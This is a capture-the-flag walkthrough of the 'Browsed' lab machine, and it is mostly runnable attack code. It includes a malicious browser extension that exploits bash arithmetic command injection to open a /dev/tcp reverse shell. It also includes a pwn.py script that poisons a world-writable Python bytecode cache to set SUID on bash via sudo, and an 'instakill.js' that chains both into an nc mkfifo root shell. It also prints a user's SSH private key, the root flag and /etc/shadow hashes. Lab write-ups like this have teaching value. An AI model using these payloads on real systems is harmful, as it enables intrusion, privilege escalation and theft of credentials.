Enum

  • Initial scan + config
$ export IP=10.129.33.156
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
Open 10.129.33.156:22
Open 10.129.33.156:80
 
Nmap scan report for browsed.htb (10.129.33.156)
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJW1WZr+zu8O38glENl+84Zw9+Dw/pm4IxFauRRJ+eAFkuODRBg+5J92dT0p/BZLMz1wZMjd6BLjAkB1LHDAjqQ=
|   256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICE6UoMGXZk41AvU+J2++RYnxElAD3KNSjatTdCeEa1R
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Update /etc/hosts
$ echo "$IP browsed.htb" | sudo tee -a /etc/hosts
  • Visiting website we see obvious attack vector

  • Files must be directly inside the archive, not in a folder.
  • Uploading a sample zip reveals a new endpoint within the logs

  • Add to hosts and visit to reveal gitea database
$ echo "$IP browsedinternals.htb" | sudo tee -a /etc/hosts

  • We can see some source code and analyze for potential vulnerabilities

app.py

  • User controlled variable rid passed to bash script
  • Runs internally on port 5000
  • RCE vulnerability via bash cmdi
@app.route('/routines/<rid>')
def routines(rid):
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"
 
*snip*
 
# The webapp should only be accessible through localhost
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

routines.sh

  • First evaluation of $1 in arithmetic comparison
log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
 
if [[ "$1" -eq 0 ]]; then
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  • We can picture the the flow as such

User

Crafting evil.zip

manifest.json

{
  "manifest_version": 3,
  "name": "Exploit",
  "version": "1.0",
  "host_permissions": ["http://127.0.0.1:5000/*"],
  "background": {
    "service_worker": "exploit.js"
  }
}

exploit.js

  • We must be careful not to break URL syntax, so I found base64 encoding payloads useful here
  • RCE through /routines, piping our encoded payload into bash for execution
;(async () => {
  try {
    const ip = "YOUR_IP"
    const port = "PORT"
    const payload = `bash -i >& /dev/tcp/${ip}/${port} 0>&1`
    const cmd = btoa(payload)
    const url = `http://127.0.0.1:5000/routines/a[$(echo%20${cmd}|base64%20-d|bash)]`
    await fetch(url, {
      mode: "no-cors",
    })
    console.log("payload sent")
  } catch (e) {
    console.log("error", e)
  }
})()
  • Zip them up
    • Files must be directly inside the archive, not in a folder.
$ zip evil.zip exploit.js manifest.json
  • Start listener
$ penelope -p PORT
  • Upload evil.zip and catch shell (should be pretty instant)
larry@browsed:~/markdownPreview$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry)
 
larry@browsed:~$ ls
markdownPreview  user.txt
 
larry@browsed:~$ cat .ssh/id_ed25519
 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----
  • Can connect via SSH from our machine
$ nano larry
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----
  • Add perms and connect
$ chmod 600 larry
$ ssh -i larry larry@browsed.htb

Root

  • Check sudo -l privileges
larry@browsed:~/markdownPreview$ sudo -l
 
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
 
User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py
  • sudo rights on /opt/extensiontool/extension_tool.py
larry@browsed:~/markdownPreview$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
  • Expects some arguments so let’s investigate further

extension_tool.py

#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile
 
EXTENSION_DIR = '/opt/extensiontool/extensions/'
 
*snip*
 
def main():
    parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
    parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
    parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
    parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
    parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
 
*snip*
  • Will need to pass --ext Fontify/Timer/ReplaceImages
  • Checking out /opt/extensiontool/extensions/ we find interesting permissions
larry@browsed:~/markdownPreview$ ls -la /opt/extensiontool/
 
total 24
drwxr-xr-x 4 root root 4096 Dec 11 07:54 .
drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
drwxrwxr-x 5 root root 4096 Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__
  • /opt/extensiontool/__pycache__/ has world-writable permissions (777)
  • extension_tool.py runs as root via sudo and imports extension_utils
  • Python loads .pyc files from __pycache__/ before compiling .py files
  • https://breakpoint.purrfect.fr/article/hplip_privesc.html
  • Without symlink capabilities this article seems relevant

Exploit Strategy

  1. Compile the legitimate extension_utils.py to extract valid bytecode structure
  2. Read the .pyc header (16 bytes containing magic number, timestamp, etc.)
  3. Extract the original code object using marshal (easier than hashes from article)
  4. Create malicious payload that:
    • Sets SUID on /bin/bash (or whatever you want as root)
    • Executes the original extension_utils code to avoid breaking the script
  5. Write our malicious .pyc file to __pycache__/extension_utils.cpython-312.pyc to match expected filename
  6. Trigger execution via sudo /opt/extensiontool/extension_tool.py

pwn.py

import marshal, py_compile
 
src = "/opt/extensiontool/extension_utils.py"
dst = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
 
py_compile.compile(src, dst)
with open(dst, "rb") as f:
    h, c = f.read(16), marshal.load(f)
 
payload = f"import marshal,os;os.system('chmod u+s /bin/bash');exec(marshal.loads({repr(marshal.dumps(c))}))"
p = compile(payload, src, "exec")
 
with open(dst, "wb") as f:
    f.write(h + marshal.dumps(p))
  • Can see empty directory in __pycache before execution
larry@browsed:~/markdownPreview$ ls -la /opt/extensiontool/__pycache__/
total 8
drwxrwxrwx 2 root root 4096 Jan 11 07:10 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
  • SUID before privesc
larry@browsed:~/markdownPreview$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
  • Execute pwn.py and verify file was created (making sure to match python version)
larry@browsed:~/markdownPreview$ python3.12 pwn.py
 
larry@browsed:~/markdownPreview$ ls -la /opt/extensiontool/__pycache__/
total 12
drwxrwxrwx 2 root root 4096 Jan 11 07:15 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
-rw-r--r-- 1 root root 1880 Jan 11 07:15 extension_utils.cpython-312.pyc
  • Now run the sudo cmd, thereby loading our malicious cache first and executing our payload
larry@browsed:~/markdownPreview$ sudo /opt/extensiontool/extension_tool.py --ext Timer
[+] Manifest is valid.
[-] Skipping version bumping
[-] Skipping packaging
  • We can check to see if SUID flipped on /bin/bash
larry@browsed:~/markdownPreview$ ls -la /bin/bash
 
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
  • Indeed it did, now spawn a shell as root
larry@browsed:~/markdownPreview$ bash -p
 
bash-5.2$ id
uid=1000(larry) gid=1000(larry) euid=0(root) groups=1000(larry)
 
bash-5.2$ cat /root/*.txt
e3a687fc77c730bd84b3640766924a10
 
bash-5.2$ cat /etc/shadow
root:$y$j9T$wXISIzb3EFHkpdXvsI01S.$7THiBdiDsTxmiImcIsYzzKyh3WxVeXd2F25m4xQGMD/:20317:0:99999:7:::
larry:$y$j9T$7TMEcG9b0YPRMveUtoEgT/$VQx//iROmISMIDWdddYqhUGDezXhlM1ki0pnUij1rUB:20317:0:99999:7:::

instakill.js

  • Gets root shell instead of user
  • Update IP:PORT
;(async () => {
  try {
    const ip = "<YOUR_IP>"
    const port = "<PORT>"
 
    // One-liner: create malicious .pyc with revshell, trigger it
    const oneliner = `python3.12 -c "import marshal,py_compile;src='/opt/extensiontool/extension_utils.py';dst='/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc';py_compile.compile(src,dst);f=open(dst,'rb');h,c=f.read(16),marshal.load(f);f.close();p=compile(f\\"import marshal,os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ${ip} ${port} >/tmp/f');exec(marshal.loads({repr(marshal.dumps(c))}))\\",src,'exec');open(dst,'wb').write(h+marshal.dumps(p))" && sudo /opt/extensiontool/extension_tool.py --ext Timer`
 
    const cmd = btoa(oneliner)
    const url = `http://127.0.0.1:5000/routines/a[$(echo%20${cmd}|base64%20-d|bash)]`
    await fetch(url, { mode: "no-cors" })
    console.log("root shell payload executed")
  } catch (e) {
    console.log("error", e)
  }
})()